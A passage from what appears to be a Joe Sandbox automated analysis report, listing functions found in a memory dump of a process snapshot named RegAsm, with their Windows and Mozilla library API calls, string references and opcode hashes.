GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C5134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C5134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C51350E
__Init_thread_footer.LIBCMT ref: 6C513522
__aulldiv.LIBCMT ref: 6C513552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C51357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C513592

Part of subcall function 6C54AB89: EnterCriticalSection.KERNEL32(6C59E370,?,?,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284), ref: 6C54AB94
Part of subcall function 6C54AB89: LeaveCriticalSection.KERNEL32(6C59E370,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54ABD1

Strings

kernel32.dll, xrefs: 6C5134EA
GetSystemTimePreciseAsFileTime, xrefs: 6C513508

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 2a4d631158e51211e3147727f15cafd84e975047cc9865ec3b7b2eb9b461aa12
Instruction ID: b1bfa08c9efca6c835be882e5b3a0e1d9a60a5e05d490ae34c059ecd4a997381
Opcode Fuzzy Hash: 2a4d631158e51211e3147727f15cafd84e975047cc9865ec3b7b2eb9b461aa12
Instruction Fuzzy Hash: 2531B371B00289DBEF14EFB5CC58AAE77B9FB45708F134559F601A3A50EB70A904CB64

Function 6C57AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C57AC52
CreateFileMappingW.KERNEL32 ref: 6C57AC7D
GetSystemInfo.KERNEL32 ref: 6C57AC98
MapViewOfFile.KERNEL32 ref: 6C57ACB0
GetSystemInfo.KERNEL32 ref: 6C57ACCD
MapViewOfFile.KERNEL32 ref: 6C57AD05
UnmapViewOfFile.KERNEL32 ref: 6C57AD1C
CloseHandle.KERNEL32 ref: 6C57AD28
UnmapViewOfFile.KERNEL32 ref: 6C57AD37
CloseHandle.KERNEL32 ref: 6C57AD43
CloseHandle.KERNEL32 ref: 6C57AD67

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 5499a680599a2e91c50150d6461227c45008eda59470b76e9a9a28044811020e
Instruction ID: f05a2e61b411b982cb71d4e3712e39b46eeaf288366fb76bbb97f60ef273cd89
Opcode Fuzzy Hash: 5499a680599a2e91c50150d6461227c45008eda59470b76e9a9a28044811020e
Instruction Fuzzy Hash: 323180B1A04744CFEB10FF78CA4826EBBF4BF85305F02592DE88597201EB709488CB96

Function 6C529620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C529675
__Init_thread_footer.LIBCMT ref: 6C529697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C529707
__Init_thread_footer.LIBCMT ref: 6C52971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C529773

Part of subcall function 6C54AB89: EnterCriticalSection.KERNEL32(6C59E370,?,?,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284), ref: 6C54AB94
Part of subcall function 6C54AB89: LeaveCriticalSection.KERNEL32(6C59E370,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5297B7
FreeLibrary.KERNEL32 ref: 6C5297D0
FreeLibrary.KERNEL32 ref: 6C5297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C529824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C529670
ntdll.dll, xrefs: 6C5296E3
MapViewOfFileNuma2, xrefs: 6C5297B1
NtMapViewOfSection, xrefs: 6C529701

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: fd5f25524534959005f19bd3826b91349470317c3b8069bfffe8c25118ca35fa
Instruction ID: 4f5fa1fa7847630c4ba3e64a83e7e87b7ec913f10cff199940ddce3321d75221
Opcode Fuzzy Hash: fd5f25524534959005f19bd3826b91349470317c3b8069bfffe8c25118ca35fa
Instruction Fuzzy Hash: 8B41BF707002859BEF00DFA5DD84A9A77B4FB8A324F0742A8FD1697780D730A814CBA5

Function 6C527E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C527EA7
malloc.MOZGLUE(00000001), ref: 6C527EB3

Part of subcall function 6C52CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C52CB49
Part of subcall function 6C52CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C52CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C527EC4
mozalloc_abort.MOZGLUE(?), ref: 6C527F19
malloc.MOZGLUE(?), ref: 6C527F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C527F4D

Strings

d, xrefs: 6C527F89

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: a3012191779ba0005c452893dcf5e7f9dd645f4d761ffdb67507c74ddb0f9587
Instruction ID: 41497d167b46a0a9e66c2221b50ffc8fb6caeee0e4651dedce4bbc503c97a3dc
Opcode Fuzzy Hash: a3012191779ba0005c452893dcf5e7f9dd645f4d761ffdb67507c74ddb0f9587
Instruction Fuzzy Hash: 88312571E00399D7EB00DB78CC005FEB7B8EF96218F069269EC4957212FB30A988C394

Function 6C569D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C568273), ref: 6C569D65
free.MOZGLUE(6C568273,?), ref: 6C569D7C
free.MOZGLUE(?,?), ref: 6C569D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C569E0F
free.MOZGLUE(6C56946B,?,?), ref: 6C569E24
free.MOZGLUE(?,?,?), ref: 6C569E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C569EC8
free.MOZGLUE(6C56946B,?,?,?), ref: 6C569EDF
free.MOZGLUE(?,?,?,?), ref: 6C569EF5

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 477a78dfb31632d46711d3cb59fe419771e59ead9d4987672849dc6911b048bb
Instruction ID: 3d22611be442a40f1840a5b3d44162a60b1cee3057817e4f11f2738734faad3f
Opcode Fuzzy Hash: 477a78dfb31632d46711d3cb59fe419771e59ead9d4987672849dc6911b048bb
Instruction Fuzzy Hash: A2718EB0909B41CBD712CF19C84055AF3F5FF99325B44A659E89A9BB11EB30EC85CB81

Function 6C56DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C56DDCF

Part of subcall function 6C54FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54FA4B

Part of subcall function 6C5690E0: free.MOZGLUE(?,00000000,?,?,6C56DEDB), ref: 6C5690FF
Part of subcall function 6C5690E0: free.MOZGLUE(?,00000000,?,?,6C56DEDB), ref: 6C569108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56DE0D
free.MOZGLUE(00000000), ref: 6C56DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C55DEFD,?,6C524A68), ref: 6C56DF32

Part of subcall function 6C56DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C56DB86
Part of subcall function 6C56DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C56DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C55DEFD,?,6C524A68), ref: 6C56DF65
free.MOZGLUE(?), ref: 6C56DF80

Part of subcall function 6C535E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C535EDB
Part of subcall function 6C535E90: memset.VCRUNTIME140(ewWl,000000E5,?), ref: 6C535F27
Part of subcall function 6C535E90: LeaveCriticalSection.KERNEL32(?), ref: 6C535FB2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 519ce1496df11c2d68294e844f44ffc9bb18c0fe498f9733c0275149cfcb5560
Instruction ID: 73e85210d79fc936cfa4cf579eeba4c1ebab9b98c26cb5f0d3f8e60ee7b64127
Opcode Fuzzy Hash: 519ce1496df11c2d68294e844f44ffc9bb18c0fe498f9733c0275149cfcb5560
Instruction Fuzzy Hash: 8351C5766016109BD7109F2ACC806AEB372BFD1308FA6091CD95A53F20EB31FD19CB82

Function 6C575D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575DC9
std::_Facet_Register.LIBCPMT ref: 6C575DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C575C8C,?,6C54E829), ref: 6C575E45

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: eaa50a88b8f7d26a890f726305e65f4b97cea1bf02ba7f20fc463608c8f23cd8
Instruction ID: 4705cc42b84ccef742c60c61c1ff771c14ac2ccec44e038303b3fd4bf9521cf5
Opcode Fuzzy Hash: eaa50a88b8f7d26a890f726305e65f4b97cea1bf02ba7f20fc463608c8f23cd8
Instruction Fuzzy Hash: 50417F707003048FDB20EF65CC98AAE77B5EF89314F5640A9E90A9B791EB30AD45CB65

Function 6C54CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5131A7), ref: 6C54CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C54CFA4, 6C54CFB8
<jemalloc>, xrefs: 6C54CF9F, 6C54CFB3

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: eeeb5277f4d7868ed6111092b4c015a8dfa6c20ba639aa878bfea1660b07b363
Instruction ID: 1b4fe20c82c0e0b426ec501fbdbaa4ab3a08087182735eeaf6f7dcded6b9cf99
Opcode Fuzzy Hash: eeeb5277f4d7868ed6111092b4c015a8dfa6c20ba639aa878bfea1660b07b363
Instruction Fuzzy Hash: 9231D6307402556BFF11BF658C45F6E7BB5BBC1B58F218055F611ABA80DB70E808C795

Function 6C51ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C51F100: LoadLibraryW.KERNEL32(shell32,?,6C58D020), ref: 6C51F122
Part of subcall function 6C51F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C51F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C51ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C51EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C51EDCC
CreateFileW.KERNEL32 ref: 6C51EE08
free.MOZGLUE(00000000), ref: 6C51EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C51EE32

Part of subcall function 6C51EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C51EBB5
Part of subcall function 6C51EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C54D7F3), ref: 6C51EBC3
Part of subcall function 6C51EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C54D7F3), ref: 6C51EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C51EDC1

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: e16595d02f604a62cdffaa2e50266af410d520d29a7f4301642719fdb1a3ccda
Instruction ID: 6c29ae5e1e859af95776b1071572929aaab4d091deb40d17e5f787e9ebf6085f
Opcode Fuzzy Hash: e16595d02f604a62cdffaa2e50266af410d520d29a7f4301642719fdb1a3ccda
Instruction Fuzzy Hash: C651B271D09254CBEB00DF68CC496AEB7B0AF99318F45891DE8556BF80E7B06D48C7E2

Function 6C58A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C58A565

Part of subcall function 6C58A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C58A4BE
Part of subcall function 6C58A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C58A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C58A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C58A6B6

Strings

z, xrefs: 6C58A6AE
0, xrefs: 6C58A5FB

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 8cfd09b7d2beaf7fe14c9c9864425710ec2904b8014c48d5a15c4a49f73104e4
Instruction ID: 96daa2be08e818aa13f48f9a3c8f5888b8733e711aa921267004f1b4e8640b66
Opcode Fuzzy Hash: 8cfd09b7d2beaf7fe14c9c9864425710ec2904b8014c48d5a15c4a49f73104e4
Instruction Fuzzy Hash: 824148719097459FC341DF29C880A8FBBE5BFC9344F408A2EF49987694E730D549CB82

Function 6C559420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C54AB89: EnterCriticalSection.KERNEL32(6C59E370,?,?,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284), ref: 6C54AB94
Part of subcall function 6C54AB89: LeaveCriticalSection.KERNEL32(6C59E370,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
__Init_thread_footer.LIBCMT ref: 6C55949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C55947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C55946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C559459

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: c40834e549e9654fa6257e35b3f2de924fac6c37b0d2bac8e3af1346f6b39183
Instruction ID: 520bf6d10ca96798c8743e1cbfa1cb1a68c941d09cef42f2b33435e12424c662
Opcode Fuzzy Hash: c40834e549e9654fa6257e35b3f2de924fac6c37b0d2bac8e3af1346f6b39183
Instruction Fuzzy Hash: E50175B0A00181C7DA009F5CDC15A8E337AAB45329F1746B7E90A86A51D725EC768A9F

Function 6C51B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B6AC

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C51B61E), ref: 6C51B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C51B61E,?,?,?,?,?,00000000), ref: 6C51B79A

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: cee30a98c831d579cb6fdd9c63d18d299cefd41020b29222a6ef3994ed1d277e
Instruction ID: 1028b0c62f87d12d023fc4e0a17fc0cfeedeae5ca2b8de22e26a61cc6194d2ed
Opcode Fuzzy Hash: cee30a98c831d579cb6fdd9c63d18d299cefd41020b29222a6ef3994ed1d277e
Instruction Fuzzy Hash: 0B41D4F2D041158FDB00EF68DC845AEB7B9FB94324F250669E825E7B80E731AD0487D1

Function 6C58B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C58B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C58B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C58B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C58B5F4
__Init_thread_footer.LIBCMT ref: 6C58B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C58B61F
std::_Facet_Register.LIBCPMT ref: 6C58B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58B655

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

